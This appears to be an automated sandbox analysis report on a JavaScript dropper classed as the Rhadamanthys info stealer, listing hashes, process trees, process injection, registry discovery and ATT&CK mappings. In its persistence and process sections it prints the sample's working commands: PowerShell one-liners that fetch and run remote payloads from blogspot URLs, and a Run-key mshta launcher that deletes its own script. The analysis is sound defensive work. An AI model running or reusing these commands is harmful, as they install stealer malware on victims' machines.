rhadamanthys | cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf

General

Target

cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf.js
Size

80KB
MD5

5eed57a36b459c29a10dbc8458493a26
SHA1

4be4299dc346dc3499adb4b01edd09b339d858a4
SHA256

cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf
SHA512

59192b7d17198bf257fe8de35ce9523f61a7eb8495647a784f6b386dfbf60642c5109bc37bccb580e71047d556a5ebf86e7943efe57d9f06c4435e57846732d2
SSDEEP

768:rZQ0foU+Ui73GNNUZZQSYsVxU4Ua4UYdIMfVkArv6rAHcVxEBxVNoYdDBHBqabPg:oC1l2unjA06

Score

10^/10

rhadamanthys discovery execution persistence stealer

Malware Config

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

RegSvcs.exeRegSvcs.exe

description pid process target process

PID 1708 created 2656 1708 RegSvcs.exe sihost.exe
PID 1956 created 2656 1956 RegSvcs.exe sihost.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 516 powershell.exe
16 516 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation wscript.exe

description	pid	process	target process
PID 1708 created 2656	1708	RegSvcs.exe	sihost.exe
PID 1956 created 2656	1956	RegSvcs.exe	sihost.exe

flow	pid	process
6	516	powershell.exe
16	516	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Defenderlt-153 = "mshta \"javascript:tq=['RUN', 'powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://hoot11nov.blogspot.com////loka.pdf) \| . iex;Start-Sleep -Seconds 3;', 'WScript.Shell', 'Scripting.FileSystemObject']; new ActiveXObject(tq[2])[tq[0]](tq[1], 0, true);close();df=new ActiveXObject('Scripting.FileSystemObject');df.DeleteFile(WScript.ScriptFullName);\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Defenderl-74 = "schtasks /run /tn Defenderl-74"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

15 bitbucket.org
16 bitbucket.org

flow	ioc
15	bitbucket.org
16	bitbucket.org

Suspicious use of SetThreadContext 6 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 516 set thread context of 1708	516	powershell.exe	RegSvcs.exe
PID 516 set thread context of 1956	516	powershell.exe	RegSvcs.exe
PID 516 set thread context of 2828	516	powershell.exe	RegSvcs.exe
PID 516 set thread context of 2548	516	powershell.exe	RegSvcs.exe
PID 516 set thread context of 3656	516	powershell.exe	Msbuild.exe
PID 516 set thread context of 3152	516	powershell.exe	Msbuild.exe

Drops file in Windows directory 1 IoCs

Processes:

dw20.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

RegSvcs.exeopenwith.exeRegSvcs.exeRegSvcs.exeMsbuild.exedw20.exedw20.exedw20.exedw20.exeopenwith.exeRegSvcs.exeMsbuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exedw20.exedw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

Processes:

powershell.exeRegSvcs.exeRegSvcs.exeopenwith.exe

pid	process
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
1708	RegSvcs.exe
1708	RegSvcs.exe
1956	RegSvcs.exe
1956	RegSvcs.exe
332	openwith.exe
332	openwith.exe
332	openwith.exe
332	openwith.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe
516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exedw20.exedw20.exedw20.exedw20.exe

description	pid	process
Token: SeDebugPrivilege	516	powershell.exe
Token: SeRestorePrivilege	4140	dw20.exe
Token: SeBackupPrivilege	4140	dw20.exe
Token: SeBackupPrivilege	4140	dw20.exe
Token: SeBackupPrivilege	4140	dw20.exe
Token: SeBackupPrivilege	4140	dw20.exe
Token: SeBackupPrivilege	4024	dw20.exe
Token: SeBackupPrivilege	4024	dw20.exe
Token: SeBackupPrivilege	4680	dw20.exe
Token: SeBackupPrivilege	4680	dw20.exe
Token: SeBackupPrivilege	4792	dw20.exe
Token: SeBackupPrivilege	4792	dw20.exe
Token: SeIncreaseQuotaPrivilege	516	powershell.exe
Token: SeSecurityPrivilege	516	powershell.exe
Token: SeTakeOwnershipPrivilege	516	powershell.exe
Token: SeLoadDriverPrivilege	516	powershell.exe
Token: SeSystemProfilePrivilege	516	powershell.exe
Token: SeSystemtimePrivilege	516	powershell.exe
Token: SeProfSingleProcessPrivilege	516	powershell.exe
Token: SeIncBasePriorityPrivilege	516	powershell.exe
Token: SeCreatePagefilePrivilege	516	powershell.exe
Token: SeBackupPrivilege	516	powershell.exe
Token: SeRestorePrivilege	516	powershell.exe
Token: SeShutdownPrivilege	516	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeSystemEnvironmentPrivilege	516	powershell.exe
Token: SeRemoteShutdownPrivilege	516	powershell.exe
Token: SeUndockPrivilege	516	powershell.exe
Token: SeManageVolumePrivilege	516	powershell.exe
Token: 33	516	powershell.exe
Token: 34	516	powershell.exe
Token: 35	516	powershell.exe
Token: 36	516	powershell.exe
Token: SeIncreaseQuotaPrivilege	516	powershell.exe
Token: SeSecurityPrivilege	516	powershell.exe
Token: SeTakeOwnershipPrivilege	516	powershell.exe
Token: SeLoadDriverPrivilege	516	powershell.exe
Token: SeSystemProfilePrivilege	516	powershell.exe
Token: SeSystemtimePrivilege	516	powershell.exe
Token: SeProfSingleProcessPrivilege	516	powershell.exe
Token: SeIncBasePriorityPrivilege	516	powershell.exe
Token: SeCreatePagefilePrivilege	516	powershell.exe
Token: SeBackupPrivilege	516	powershell.exe
Token: SeRestorePrivilege	516	powershell.exe
Token: SeShutdownPrivilege	516	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeSystemEnvironmentPrivilege	516	powershell.exe
Token: SeRemoteShutdownPrivilege	516	powershell.exe
Token: SeUndockPrivilege	516	powershell.exe
Token: SeManageVolumePrivilege	516	powershell.exe
Token: 33	516	powershell.exe
Token: 34	516	powershell.exe
Token: 35	516	powershell.exe
Token: 36	516	powershell.exe
Token: SeIncreaseQuotaPrivilege	516	powershell.exe
Token: SeSecurityPrivilege	516	powershell.exe
Token: SeTakeOwnershipPrivilege	516	powershell.exe
Token: SeLoadDriverPrivilege	516	powershell.exe
Token: SeSystemProfilePrivilege	516	powershell.exe
Token: SeSystemtimePrivilege	516	powershell.exe
Token: SeProfSingleProcessPrivilege	516	powershell.exe
Token: SeIncBasePriorityPrivilege	516	powershell.exe
Token: SeCreatePagefilePrivilege	516	powershell.exe
Token: SeBackupPrivilege	516	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

wscript.exepowershell.exeRegSvcs.exeMsbuild.exeRegSvcs.exeMsbuild.exeRegSvcs.exe

description	pid	process	target process
PID 1472 wrote to memory of 516	1472	wscript.exe	powershell.exe
PID 1472 wrote to memory of 516	1472	wscript.exe	powershell.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1708	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 1956	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2828	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 2548	516	powershell.exe	RegSvcs.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3656	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 516 wrote to memory of 3152	516	powershell.exe	Msbuild.exe
PID 2548 wrote to memory of 4140	2548	RegSvcs.exe	dw20.exe
PID 2548 wrote to memory of 4140	2548	RegSvcs.exe	dw20.exe
PID 2548 wrote to memory of 4140	2548	RegSvcs.exe	dw20.exe
PID 3152 wrote to memory of 4680	3152	Msbuild.exe	dw20.exe
PID 3152 wrote to memory of 4680	3152	Msbuild.exe	dw20.exe
PID 3152 wrote to memory of 4680	3152	Msbuild.exe	dw20.exe
PID 2828 wrote to memory of 4792	2828	RegSvcs.exe	dw20.exe
PID 2828 wrote to memory of 4792	2828	RegSvcs.exe	dw20.exe
PID 2828 wrote to memory of 4792	2828	RegSvcs.exe	dw20.exe
PID 3656 wrote to memory of 4024	3656	Msbuild.exe	dw20.exe
PID 3656 wrote to memory of 4024	3656	Msbuild.exe	dw20.exe
PID 3656 wrote to memory of 4024	3656	Msbuild.exe	dw20.exe
PID 1708 wrote to memory of 1080	1708	RegSvcs.exe	openwith.exe
PID 1708 wrote to memory of 1080	1708	RegSvcs.exe	openwith.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2656
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1080
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:332

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://11-14hotelmain.blogspot.com///////chutmarao.pdf);Start-Sleep -Seconds 3;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1708
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1956
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 912
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:4792
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 912
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:4140
- - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 780
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:4024
- - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
      dw20.exe -x -s 784
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:4680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER878.tmp.xml

Filesize
4KB

MD5
f21d15c399ca7a4ece650f974bfd88aa

SHA1
711327cd45e2393ebda844c70e8b219f31bece92

SHA256
29b54b924a942e1c52acd8f8c97573c297c412f2fc8b5c9136b3edb8bf82b2c3

SHA512
4c79158c75e25421512d17fd2c38f9ec31c0ce631ca17dbbd7a8f8dfdd078e9c1762ba788aec4e8e6e60840654e4635ea700f38a8b90c6ad65b8a47d5dd3daa8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Filesize
315B

MD5
69acc92e6df5c35cf75eded8f61ddeaa

SHA1
b405090a2f92f85490705dcf77a6461ad85e7e20

SHA256
da3437f337aca0e1f8d7b187abcd9112d88beddde8ab8ae5aa8a8ab91b6e9698

SHA512
9b83a6ef14372d9e229beb69c1b1ede6f348fb51925205f99f705808db6331c5aab32bd57fc786c61647cbb94f7e4bd236dc9f4fc26be4c1ffc7a35e7619a508

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfvxkz4l.2x3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/332-74-0x0000000002320000-0x0000000002720000-memory.dmp

Filesize
4.0MB

Download
memory/332-76-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/332-78-0x00000000764F0000-0x0000000076705000-memory.dmp

Filesize
2.1MB

Download
memory/516-13-0x000002A06BAC0000-0x000002A06BC82000-memory.dmp

Filesize
1.8MB

Download
memory/516-81-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-17-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-18-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-19-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-20-0x000002A06AEF0000-0x000002A06AF02000-memory.dmp

Filesize
72KB

Download
memory/516-21-0x000002A06AF20000-0x000002A06AF3A000-memory.dmp

Filesize
104KB

Download
memory/516-16-0x00007FF82BE53000-0x00007FF82BE55000-memory.dmp

Filesize
8KB

Download
memory/516-14-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-1-0x000002A06B390000-0x000002A06B3B2000-memory.dmp

Filesize
136KB

Download
memory/516-0-0x00007FF82BE53000-0x00007FF82BE55000-memory.dmp

Filesize
8KB

Download
memory/516-12-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/516-11-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

Filesize
10.8MB

Download
memory/1080-75-0x0000000002690000-0x0000000002A90000-memory.dmp

Filesize
4.0MB

Download
memory/1080-58-0x0000000000950000-0x0000000000959000-memory.dmp

Filesize
36KB

Download
memory/1708-30-0x0000000007C40000-0x0000000007CE6000-memory.dmp

Filesize
664KB

Download
memory/1708-48-0x0000000007E80000-0x0000000008280000-memory.dmp

Filesize
4.0MB

Download
memory/1708-22-0x0000000000400000-0x00000000004B8000-memory.dmp

Filesize
736KB

Download
memory/1708-55-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/1708-57-0x00000000764F0000-0x0000000076705000-memory.dmp

Filesize
2.1MB

Download
memory/1708-47-0x0000000007E70000-0x0000000007E80000-memory.dmp

Filesize
64KB

Download
memory/1708-28-0x0000000001140000-0x00000000011F8000-memory.dmp

Filesize
736KB

Download
memory/1708-52-0x0000000007E80000-0x0000000008280000-memory.dmp

Filesize
4.0MB

Download
memory/1708-46-0x0000000007E60000-0x0000000007E68000-memory.dmp

Filesize
32KB

Download
memory/1708-29-0x00000000057E0000-0x0000000005872000-memory.dmp

Filesize
584KB

Download
memory/1956-51-0x0000000007510000-0x0000000007520000-memory.dmp

Filesize
64KB

Download
memory/1956-61-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/1956-65-0x00000000764F0000-0x0000000076705000-memory.dmp

Filesize
2.1MB

Download
memory/1956-54-0x0000000007FC0000-0x00000000083C0000-memory.dmp

Filesize
4.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads